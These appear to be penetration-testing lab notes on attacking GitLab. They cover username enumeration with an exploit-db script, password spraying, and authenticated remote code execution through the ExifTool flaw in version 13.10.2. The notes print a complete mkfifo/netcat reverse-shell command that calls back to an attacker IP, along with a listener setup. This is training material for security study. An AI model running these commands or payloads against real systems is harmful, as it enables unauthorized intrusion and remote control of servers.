# Intro - GitLab has [553 CVEs](https://www.cvedetails.com/vulnerability-list/vendor_id-13074/Gitlab.html) reported as of SEPT 2021 - While not every single one is exploitable, there have been several severe ones over the years that could lead to RCE # Username Enumeration - Though not considered a vuln by GitLab as seen on their [Hackerone](https://hackerone.com/gitlab?type=team) page ("User and project enumeration/path disclosure unless an additional impact can be demonstrated"), it is still something worth checking as it could result in access if users are selecting weak passwords - We can do this manually, of course, but scripts make our work much faster - We could write a script in Bash or Python or use [this one](https://www.exploit-db.com/exploits/49821) to enumerate a list of valid users - Python3 version of this same tool can be found [here](https://github.com/dpgg101/GitLabUserEnum) - Note: In versions below 16.6, GitLab's defaults are set to 10 failed login attempts, resulting in an automatic unlock after 10 minutes - And, starting with GitLab version 16.6, administrators can now configure these values directly through the admin UI - The number of authentication attempts before locking an account and the unlock period can be set using the `max_login_attempts` and `failed_login_attempts_unlock_period_in_minutes` settings, respectively - If we download the script and run it against the target GitLab instance, we see that there are two valid usernames, `root` (the built-in admin account) and `bob` ```bash ./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt ``` - If we successfully pulled down a large list of users, we could attempt a controlled password spraying attack with weak, common passwords such as `Welcome1` or `Password123`, etc. # Authenticated RCE - GitLab Community Edition version 13.10.2 and lower suffered from an authenticated remote code execution [vulnerability](https://hackerone.com/reports/1154542) due to an issue with `ExifTool` handling metadata in uploaded image files - We can use this [exploit](https://www.exploit-db.com/exploits/49951) to achieve RCE - As this is authenticated remote code execution, we first need a valid username and password. In some instances, this would only work if we could obtain valid credentials through OSINT or a credential guessing attack - Alternatively, if we encounter a vulnerable version of GitLab that allows for self-registration, we can quickly sign up for an account and pull off the attack ```bash sudo nc -lvnp 8443 python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u mrb3n -p password1 -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f ' ``` # Exercise ## Carryover Info - We previously footprinted the GitLab instance as version 13.10.2 - The GitLab instance allowed us to register a user as `test:password123` ## User Enum - copy+paste `gitlab_userenum.sh` from [GitLab Community Edition (CE) 13.10.3 - User Enumeration - Ruby webapps Exploit](https://www.exploit-db.com/exploits/49821) - make above script executable and run ```bash sudo chmod +x gitlab_userenum.sh ./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist /usr/share/seclists/Usernames/cirt-default-usernames.txt ``` ## Authenticated RCE - try to gain a revshell using the user we previously registered user `test:password123` - copy+paste `gitlab_13_10_2_rce.py` from [Gitlab 13.10.2 - Remote Code Execution (Authenticated) - Ruby webapps Exploit](https://www.exploit-db.com/exploits/49951) - setup listener on Kali box and run script with below command ```bash python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u test -p password123 -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.15.203 8443 >/tmp/f ' ``` - we caught a shell on our listener ![[images/Pasted image 20260125205426.png]]